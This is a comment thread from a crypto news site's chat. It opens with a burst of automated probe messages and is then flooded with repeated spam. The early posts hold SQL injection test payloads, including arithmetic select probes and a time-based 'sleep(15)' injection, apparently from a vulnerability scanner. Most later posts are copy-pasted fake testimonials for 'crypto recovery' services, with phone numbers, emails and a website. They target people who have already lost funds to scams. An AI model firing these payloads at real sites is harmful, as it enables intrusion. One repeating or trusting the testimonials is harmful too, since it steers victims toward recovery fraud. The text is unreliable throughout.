can I ask you a question please?
-
09.10.25 08:28
pHqghUme
@@olQP6
-
09.10.25 08:28
pHqghUme
(select 198766*667891 from DUAL)
-
09.10.25 08:28
pHqghUme
(select 198766*667891)
-
09.10.25 08:30
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:33
pHqghUme
can I ask you a question please?
-
09.10.25 08:34
pHqghUme
can I ask you a question please?
-
09.10.25 08:34
pHqghUme
if(now()=sysdate(),sleep(15),0)
-
09.10.25 08:35
pHqghUme
e
-
09.10.25 08:36
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:36
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:37
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:37
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:37
pHqghUme
e
-
09.10.25 08:37
pHqghUme
e
-
09.10.25 08:40
pHqghUme
can I ask you a question please?
-
09.10.25 08:40
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:41
pHqghUme
e
-
09.10.25 08:41
pHqghUme
can I ask you a question please?
-
09.10.25 08:42
pHqghUme
can I ask you a question please?
-
09.10.25 08:42
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:42
pHqghUme
e
-
09.10.25 11:05
marcushenderson624
Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
-
09.10.25 11:05
marcushenderson624
Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
-
09.10.25 11:05
marcushenderson624
Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
-
09.10.25 11:05
marcushenderson624
Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
-
11.10.25 04:41
luciajessy3
Don’t be deceived by different testimonies online that is most likely wrong. I have made use of several recovery options that got me disappointed at the end of the day but I must confess that the tech genius I eventually found is the best out here. It’s better you devise your time to find the valid professional that can help you recover your stolen or lost crypto such as bitcoins rather than falling victim of other amateur hackers that cannot get the job done. ADAMWILSON . TRADING @ CONSULTANT COM / WHATSAPP ; +1 (603) 702 ( 4335 ) is the most reliable and authentic blockchain tech expert you can work with to recover what you lost to scammers. They helped me get back on my feet and I’m very grateful for that. Contact their email today to recover your lost coins ASAP…
-
11.10.25 10:44
Tonerdomark
A thief took my Dogecoin and wrecked my life. Then Mr. Sylvester stepped in and changed everything. He got back €211,000 for me, every single cent of my gains. His calm confidence and strong tech skills rebuilt my trust. Thanks to him, I recovered my cash with no issues. After months of stress, I felt huge relief. I had full faith in him. If a scam stole your money, reach out to him today at { yt7cracker@gmail . com } His help sparked my full turnaround.
-
12.10.25 01:12
harristhomas7376
"In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
-
12.10.25 01:12
harristhomas7376
"In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
-
12.10.25 19:53
Tonerdomark
A crook swiped my Dogecoin. It ruined my whole world. Then Mr. Sylvester showed up. He fixed it all. He pulled back €211,000 for me. Not one cent missing from my profits. His steady cool and sharp tech know-how won back my trust. I got my money smooth and sound. After endless worry, relief hit me hard. I trusted him completely. Lost cash to a scam? Hit him up now at { yt7cracker@gmail . com }. His aid turned my life around. WhatsApp at +1 512 577 7957.
-
12.10.25 21:36
blessing
Writing this review is a joy. Marie has provided excellent service ever since I started working with her in early 2018. I was worried I wouldn't be able to get my coins back after they were stolen by hackers. I had no idea where to begin, therefore it was a nightmare for me. However, things became easier for me after my friend sent me to [email protected] and +1 7127594675 on WhatsApp. I'm happy that she was able to retrieve my bitcoin so that I could resume trading.
-
13.10.25 01:11
elizabethrush89
God bless Capital Crypto Recover Services for the marvelous work you did in my life, I have learned the hard way that even the most sensible investors can fall victim to scams. When my USD was stolen, for anyone who has fallen victim to one of the bitcoin binary investment scams that are currently ongoing, I felt betrayal and upset. But then I was reading a post on site when I saw a testimony of Wendy Taylor online who recommended that Capital Crypto Recovery has helped her recover scammed funds within 24 hours. after reaching out to this cyber security firm that was able to help me recover my stolen digital assets and bitcoin. I’m genuinely blown away by their amazing service and professionalism. I never imagined I’d be able to get my money back until I complained to Capital Crypto Recovery Services about my difficulties and gave all of the necessary paperwork. I was astounded that it took them 12 hours to reclaim my stolen money back. Without a doubt, my USDT assets were successfully recovered from the scam platform, Thank you so much Sir, I strongly recommend Capital Crypto Recover for any of your bitcoin recovery, digital funds recovery, hacking, and cybersecurity concerns. You reach them Call/Text Number +1 (336)390-6684 His Email: [email protected] Contact Telegram: @Capitalcryptorecover Via Contact: [email protected] His website: https://recovercapital.wixsite.com/capital-crypto-rec-1
-
13.10.25 01:11
elizabethrush89
God bless Capital Crypto Recover Services for the marvelous work you did in my life, I have learned the hard way that even the most sensible investors can fall victim to scams. When my USD was stolen, for anyone who has fallen victim to one of the bitcoin binary investment scams that are currently ongoing, I felt betrayal and upset. But then I was reading a post on site when I saw a testimony of Wendy Taylor online who recommended that Capital Crypto Recovery has helped her recover scammed funds within 24 hours. after reaching out to this cyber security firm that was able to help me recover my stolen digital assets and bitcoin. I’m genuinely blown away by their amazing service and professionalism. I never imagined I’d be able to get my money back until I complained to Capital Crypto Recovery Services about my difficulties and gave all of the necessary paperwork. I was astounded that it took them 12 hours to reclaim my stolen money back. Without a doubt, my USDT assets were successfully recovered from the scam platform, Thank you so much Sir, I strongly recommend Capital Crypto Recover for any of your bitcoin recovery, digital funds recovery, hacking, and cybersecurity concerns. You reach them Call/Text Number +1 (336)390-6684 His Email: [email protected] Contact Telegram: @Capitalcryptorecover Via Contact: [email protected] His website: https://recovercapital.wixsite.com/capital-crypto-rec-1
-
14.10.25 01:15
tyleradams
Hi. Please be wise, do not make the same mistake I had made in the past, I was a victim of bitcoin scam, I saw a glamorous review showering praises and marketing an investment firm, I reached out to them on what their contracts are, and I invested $28,000, which I was promised to get my first 15% profit in weeks, when it’s time to get my profits, I got to know the company was bogus, they kept asking me to invest more and I ran out of patience then requested to have my money back, they refused to answer nor refund my funds, not until a friend of mine introduced me to the NVIDIA TECH HACKERS, so I reached out and after tabling my complaints, they were swift to action and within 36 hours I got back my funds with the due profit. I couldn’t contain the joy in me. I urge you guys to reach out to NVIDIA TECH HACKERS on their email: [email protected]
-
14.10.25 08:46
robertalfred175
CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
-
14.10.25 08:46
robertalfred175
CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
-
14.10.25 08:46
robertalfred175
CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
-
15.10.25 18:07
crypto
Cryptocurrency's digital realm presents many opportunities, but it also conceals complex frauds. It is quite painful to lose your cryptocurrency to scam. You can feel harassed and lost as a result. If you have been the victim of a cryptocurrency scam, this guide explains what to do ASAP. Following these procedures will help you avoid further issues or get your money back. Communication with Marie ([email protected] and WhatsApp: +1 7127594675) can make all the difference.
-
15.10.25 21:52
harristhomas7376
"In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
-
15.10.25 21:52
harristhomas7376
"In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
Для участия в Чате вам необходим бесплатный аккаунт pro-blockchain.com
Войти
Регистрация
Похожие новости
Подпишись на telegram канал и узнавай первым обо всех новостях